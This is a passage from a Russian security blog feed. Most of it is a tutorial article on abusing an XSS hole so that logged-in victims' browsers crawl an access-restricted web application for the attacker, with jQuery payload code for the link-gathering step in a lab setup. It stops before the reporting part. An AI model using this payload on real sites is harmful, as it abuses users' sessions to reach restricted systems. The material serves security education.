&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;object class=&quot;BLOGGER-youtube-video&quot; classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot; data-thumbnail-src=&quot;http://i.ytimg.com/vi/c4CYN_xNZwA/0.jpg&quot; height=&quot;266&quot; width=&quot;320&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/c4CYN_xNZwA?f=user_uploads&amp;c=google-webdrive-0&amp;app=youtube_gdata&quot; /&gt;&lt;param name=&quot;bgcolor&quot; value=&quot;#FFFFFF&quot; /&gt;&lt;embed width=&quot;320&quot; height=&quot;266&quot; src=&quot;http://www.youtube.com/v/c4CYN_xNZwA?f=user_uploads&amp;c=google-webdrive-0&amp;app=youtube_gdata&quot; type=&quot;application/x-shockwave-flash&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
А вот несколько скриншотов:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.foto-shara.ru/pictures/a0b5d2161f2db559d0f0631663d2b3b2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;http://www.foto-shara.ru/pictures/a0b5d2161f2db559d0f0631663d2b3b2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.foto-shara.ru/pictures/074fda7773d1c945165960624a282909.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;http://www.foto-shara.ru/pictures/074fda7773d1c945165960624a282909.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.foto-shara.ru/pictures/5ecb217d73ec2be5ec545b2dc2671a7b.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;
&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.foto-shara.ru/pictures/5ecb217d73ec2be5ec545b2dc2671a7b.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;http://www.foto-shara.ru/pictures/5ecb217d73ec2be5ec545b2dc2671a7b.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;http://www.foto-shara.ru/pictures/5ecb217d73ec2be5ec545b2dc2671a7b.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Само приложение можно скачать по следующим ссылкам:&lt;br /&gt;
&lt;a href=&quot;https://hack4sec.opendrive.com/files?29775652_YzYCN&quot;&gt;https://hack4sec.opendrive.com/files?29775652_YzYCN&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://rghost.ru/9225271&quot;&gt;http://rghost.ru/9225271&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
Ждём ваших вопросов, отзывов и сообщений об ошибках :)&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/06/blog-post.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-1571194230658566074</guid><pubDate>Mon, 30 May 2011 14:58:00 +0000</pubDate><atom:updated>2011-12-08T08:40:47.004-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">xss</category><category domain="http://www.blogger.com/atom/ns#">статья</category><title>Статья &quot;XSS: Разведка боем&quot;</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Здравствуйте. Рады представить вам статью одного из наших участников на тему  нестандартного использования XSS-уязвимостей. В ней рассказывается как&amp;nbsp; с  помощью нехитрого JS-кода и простого PHP-приложения получать визуальные  копии целых веб-приложений от лица сторонних пользователей.&lt;br /&gt;
Рекомендуем сразу качать PDF-вариант чтоб читать материал в нормальном оформлении и с адекватной шириной страницы.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;b&gt;Автор&lt;/b&gt;: Кузьмин Антон &lt;a href=&quot;mailto:anton.kuzmin.russia@gmail.com&quot;&gt;anton.kuzmin.russia@gmail.com&lt;/a&gt; &lt;a href=&quot;http://anton-kuzmin.blogspot.com/&quot;&gt;http://anton-kuzmin.blogspot.com/&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;Команда&lt;/b&gt;: Hack4sec &lt;a href=&quot;mailto:hack4sec.team@gmail.com&quot;&gt;hack4sec.team@gmail.com&lt;/a&gt; &lt;a href=&quot;http://hack4sec.blogspot.com/&quot;&gt;http://hack4sec.blogspot.com/ &lt;/a&gt;&lt;br /&gt;
&lt;b&gt;Дата&lt;/b&gt;: 30-05-2011&lt;br /&gt;
&lt;b&gt;PDF-вариант&lt;/b&gt;: &lt;a href=&quot;https://hack4sec.opendrive.com/files?29123800_FYGqD&quot;&gt;https://hack4sec.opendrive.com/files?29123800_FYGqD&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Здравствуйте.  В данной статье я хочу привести один не стандартный пример  использования XSS-уязвимостей. По крайней мере раньше я ни разу не видел  чтоб подобные вещи где-то описывались. &lt;br /&gt;
Представим себе следующую  ситуацию. Есть сайт victim.xss. На нём располагается 2 веб-приложения.  Одно не совсем важное для вас, имеющее XSS-уязвимость  (пассивную/активную — не важно). К нему доступ у вас есть. И одно  которое вас очень интересует, но доступа к которому вы не имеете (при  обращении сервер возвращает код 403 или 401). Кроме того, вы даже не  знаете как оно устроено внутри и что из себя представляет. При этом  попытки кражи идентификационных данных тех людей, которые этот доступ  имеют, ничего не дают — cookies идут с флагом HTTP-only, а веб-сервер не  поддерживает метод TRACE, авторизированные сессии привязываются к  IP-адресам или доступ к приложению ограничен по IP. Вообщем, если что и  делать, то только используя обнаруженную в первом приложении XSS,  заставлять браузеры имеющих доступ пользователей выполнять необходимые  вам действия. Но какие? Ведь структуры второго приложения вы не знаете. &lt;br /&gt;
Решение  здесь одно — пользуясь браузерами авторизованных лиц узнать содержимое  страниц закрытого приложения. Из содержимого станет понятна его  структура (ссылки, контент), а зная её можно строить дальнейший план  действий.&lt;br /&gt;
Теперь вопрос за технической стороной. Здесь есть два  варианта. Первый — «смотреть» страницы поодиночке. То есть код,  помещённый через XSS в первое приложение, будет запрашивать интересующую  ссылку с сервера атакующего, как-то её открывать (XHR/IFRAME) и  передавать содержимое хозяину. Затем атакующий выбирает из полученного  следующую ссылку, и так раз за разом приложение потихоньку будет  «раскрываться». Это хоть и медленный вариант (его практическое  применение может растянуться на недели), но зато самый лёгкий в  реализации и полностью безопасный за счёт своей точечности для целевого  приложения. Ведь каждый раз атакующий сам будет выбирать какую страницу  просматривать.&lt;br /&gt;
Второй — «смотреть» страницы рекурсивно по  нескольку штук, передавая полученные коды на сервер для исследования  хозяином. Скорость данного варианта очень высока и полное раскрытие  структуры приложения, при его большом размере, может занять менее дня  (при интенсивном использовании со стороны клиентов). Но здесь есть и  свои подводные камни. Например, можно случайно пройти по ссылке удаления  чего-нибудь. Тем не менее, ниже я опишу именно этот вариант. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Подготовка&lt;/b&gt;&lt;br /&gt;
Итак,  что нам понадобится? Для начала нужно создать 2 виртуальных хоста —  victim.xss и interceptor.xss. Первый будет играть роль жертвы, второй —  координационного сервера. В корне victim.xss нужно разместить файл  xss-page.html. Он будет имитировать уязвимую к XSS-атакам страницу.  Затем нужно установить приложение которое мы будем исследовать.  Представим что доступа туда у нас нет. Я взял на эту роль форум SMF 1.13  и поместил его в директорию /forum/. После установки не забудьте войти в  его админ-панель, чтоб при проведении экспериментов код-исследователь  мог пролезть и туда. Далее на victim.xss разместите скрипт jQuery. Я  решил использовать его, а не «голый» JS, просто для экономии времени и  упрощения кода. К тому же сейчас на многих сайтах стоят различные  JS-фреймворки которые при работе с XSS могут очень сильно облегчить  нападающему&amp;nbsp; жизнь. &lt;br /&gt;
Работа наша будет проходить следующим  образом. В xss-page.html помещаем нужный код, открываем его в браузере  который уже авторизирован на форуме и смотрим результат. Кстати, для  слежения за результатами хорошо подойдёт FireBug со своим логированием  сетевой активности.&lt;br /&gt;
Вот начальный код xss-page.html:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;lt;html&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp; &amp;lt;head&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp; &amp;lt;/head&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp; &amp;lt;body&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;a href=&quot;/forum/index.php&quot;&amp;gt;Закрытое приложение&amp;lt;/a&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script type=&quot;text/javascript&quot; src=&quot;/jquery-1.6.1.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert(&#39;XSS&#39;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/script&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp; &amp;lt;/body&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;lt;/html&amp;gt; &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Вместо «alert(&#39;XSS&#39;);» мы и будем размещать всё что нам понадобится. &lt;br /&gt;
Пока  мы не начали основное действо нужно сделать небольшое отступление. Дело  в том, что реализовать всё вышеописанное можно двумя способами —  используя или XHR или Iframe. В самом начале работы над статьёй я выбрал  второй вариант из-за его иллюзорной простоты. Судите сами — или  работать через XHR и извлекать ссылки для последующего обхода с помощью  регулярных выражений, либо работать с Iframe и доставать необходимые  данные уже обращаясь к DOM документа, что само по себе легче, особенно с  jQuery. Но не всё так просто, как кажется на первый взгляд. Перейти на  XHR меня заставил тот факт что iframe нельзя заставить работать  синхронно со скриптами. К тому же при попытке логирования происходящих  действий я заметил очень странное поведение iframe`а — при открытии  множества страниц с разными URL под ряд он по нескольку раз открывал  одни и те же страницы, хотя такого вообще быть не должно. Причину я  найти так и не смог, и в итоге решил просто обратиться к XHR. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Пользовательская часть. Сбор ссылок.&lt;/b&gt;&lt;br /&gt;
Приступим.  Для начала необходимо объявить 2 глобальных массива, в первый из  которых мы будем складывать ссылки для исследования, а во второй  поместим уже исследованные адреса, дабы избежать повторений. Как вы  наверное уже догадались, при большом объёме (в плане контента) целевого  приложения второй массив будет постоянно расти и расти, что может  негативно сказаться на размерах потребляемой браузером памяти. По  другому, к сожалению, никак. Можно, конечно, поработать над уменьшением  объёма хранимой информации (например хранить не ссылки, а их хеши), но  эта тема выходит за рамки данной статьи.&lt;br /&gt;
Итак. Назовём эти массивы links, и checked.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;var links = [];&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;var checked = [];&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Теперь  нужно создать несколько функций по работе с ними. Адреса для проверки  нам потребуется и добавлять, и удалять из соответствующего массива. А  вот проверенные ссылки мы будем только добавлять. Кроме этого нам  понадобится функция проверки адресов на наличие в массиве checked.  Исходя из этих требований напишем 4 небольшие функции.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;function delLink(link) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Если ссылка есть в общем массиве удаляем её&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($.inArray(link, links) != -1)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; links.splice($.inArray(link, links), 1);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;function addLink(link) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Если ссылки в общем массиве нет, и она не относится к проверенным,&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // то мы можем её добавить&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($.inArray(link, links) == -1 &amp;amp;&amp;amp; !isChecked(link))&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; links[links.length] = link;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;function addChecked(link) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Если ссылки в массиве проверенных нет, можно добавлять её туда&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($.inArray(link, checked) == -1)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; checked[checked.length] = link;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;function isChecked(link) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return $.inArray(link, checked) != -1;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Теперь  объявим переменную limit. В неё поместим число ссылок, которое будет  проверять атакуемый браузер за один раз. Оно обязательно должно быть  небольшим чтоб не создавать пользователю лишних проблем.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;var limit = 30;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
И  можем приступать к основной работе. Для её начала нам нужно иметь хотя  бы одну ссылку. Её можно взять с сервера атакующего, а можно получить  самостоятельно, что мы и сделаем. Как раз на xss-page.html имеется одна  ссылка ведущая на интересующее нас приложение. Получим её вот так:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;$(&#39;a&#39;).each(function(){&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(this.href.indexOf(&#39;http://&#39; + window.location.hostname) != -1 &amp;amp;&amp;amp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.href != window.location.href)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; addLink(this.href);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;});&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Возможно  вас удивит первое условие — наличие фрагмента «http://текущий-хост» в  начале ссылки. Оно здесь потому, что мы работаем с DOM. А раз так, то  получаем уже не то что написано в «href», а полноценные адреса  подготовленные браузером, начинающиеся с «http://». &lt;br /&gt;
После того  как исходные ссылки готовы, мы можем приступать к основным действиям.  Для этого вызовем один раз функцию parseNextLink(). Как видно из её  названия, обрабатывать ссылки мы будем по одиночке. Это даст нам полный  контроль над ситуацией и снимет нагрузку на браузер, который при  асинхронной проверке (и обработке содержимого) 30-50 ссылок начинает  заметно тормозить. Что она будет делать? Вначале она проверит на  истинность два условия: есть ли непроверенные ссылки в соответствующем  массиве, и достигло ли количество ссылок в checked значения  обозначенного в limit. Если хоть одно условие верно, функция прекращает  работу кода. Если оба из них ложны — вызовет getLinks(), объявление  которой описано ниже.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;function parseNextLink() {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(checked.length &amp;gt;= limit || !links.length)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Проверяем последнюю ссылку из links&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; getLinks(links[links.length-1]);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ну и самая главная функция, которая будет проверять страницы и получать с них новые ссылки, - getLinks().&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;function getLinks(url) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; addChecked(url); // Отмечаем эту ссылку как проверенную&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; delLink(url); // Удаляем её из нуждающихся в проверке&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $.ajax({&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; url: url,&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; type: &#39;get&#39;,&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; async: false,&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dataType: &#39;html&#39;,&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; success: function(data){&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Тут код извлечения ссылок из ответа&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; parseNextLink();&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Как  видите, работает она в синхронном режиме. Сразу по завершении своей  работы (ответ получен и обработан) вызывается parseNextLink(), которая,  если не прервёт работу, то этой же функции передаст новую ссылку для  проверки. &lt;br /&gt;
Теперь стоит подробнее рассмотреть код обработки  полученных данных. В его начале запустим бесконечный цикл извлечения  ссылок по регулярному выражению. Он остановится только тогда, когда из  текущего ответа не будет более извлечено совпадений. &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;var hrefRegexp = /href=[&#39;&quot;](.*?)[&#39;&quot;]/ig;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;while(true) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var result = hrefRegexp.exec(data);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(result == null) break;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
При  таком регулярном выражении exec() будет возвращать массив из двух ячеек  с индексами 0 и 1. В первой будет лежать всё совпадение вместе с  «href=», а во второй только содержимое «href=&#39;...&#39;». Оно нам и нужно&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;var link = result[1];&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Теперь  один очень важный момент. Чтоб наш код случайно не открыл ссылку выхода  из аккаунта, очистки cookies или ещё чего вредного, нам нужно соорудить  механизм игнорирования неугодных адресов. Сделаем это так. Объявим  глобальный массив с выражениями, присутствующими в таких ссылках.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;var ignore&amp;nbsp; = [&quot;logout&quot;,&quot;delete&quot;];&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
А при обработке данных обойдём его, и поищем совпадения в текущем результате.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;for(ign in ignore) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(link.indexOf(ignore[ign]) != -1) {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; link = &#39;&#39;; // Пустой она дальше никуда не пройдёт&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; break; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Следующим  шагом нам необходимо подстраховаться от дублей ссылок с «#». По сути  для GET-запросов, которые мы шлём по средствам XHR, ссылки типа&lt;br /&gt;
http://victim.com/index.php &lt;br /&gt;
http://victim.com/index.php#aaa&lt;br /&gt;
Абсолютно  одинаковы. Их содержимое может различаться только тогда, когда в  зависимости от того что идёт после # страница на клиентской стороне  меняется сама. Чтоб это произошло её надо обработать, а в нашем случае  никакой обработки браузером получаемых страниц не происходит.  Следовательно, нужно от таких ссылок избавляться. Сделаем это простым  вырезанием всего что идёт после #.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;link = (link.indexOf(&quot;#&quot;) != -1) ? link.substr(0, link.indexOf(&quot;#&quot;)) : link;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ну и теперь ссылку можно помещать в общий массив, предварительно проверив её на принадлежность нашему целевому хосту.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;if(link.indexOf(&#39;http://&#39; + window.location.hostname) == 0)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #999999;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; addLink(link);&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Обратите  внимание на то, что эта проверка может не сработать на других  приложениях. SMF сам во все свои ссылки подставляет текущий хост, а,  например, тот же phpBB3 этого не делает. &lt;br /&gt;
Ну вот и всё. Часть  отвечающая за сбор ссылок готова. Теперь при запуске скрипт будет  наполнять массивы links и checked рекурсивно обходя найденные URL.  Убедиться в том что всё идёт верно можно с помощью вызова console.log() в  нужных местах скрипта, ну и поглядывая в сетевой монитор FireBug.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Пользовательская часть. Отчётность.&lt;/b&gt;&lt;br /&gt;
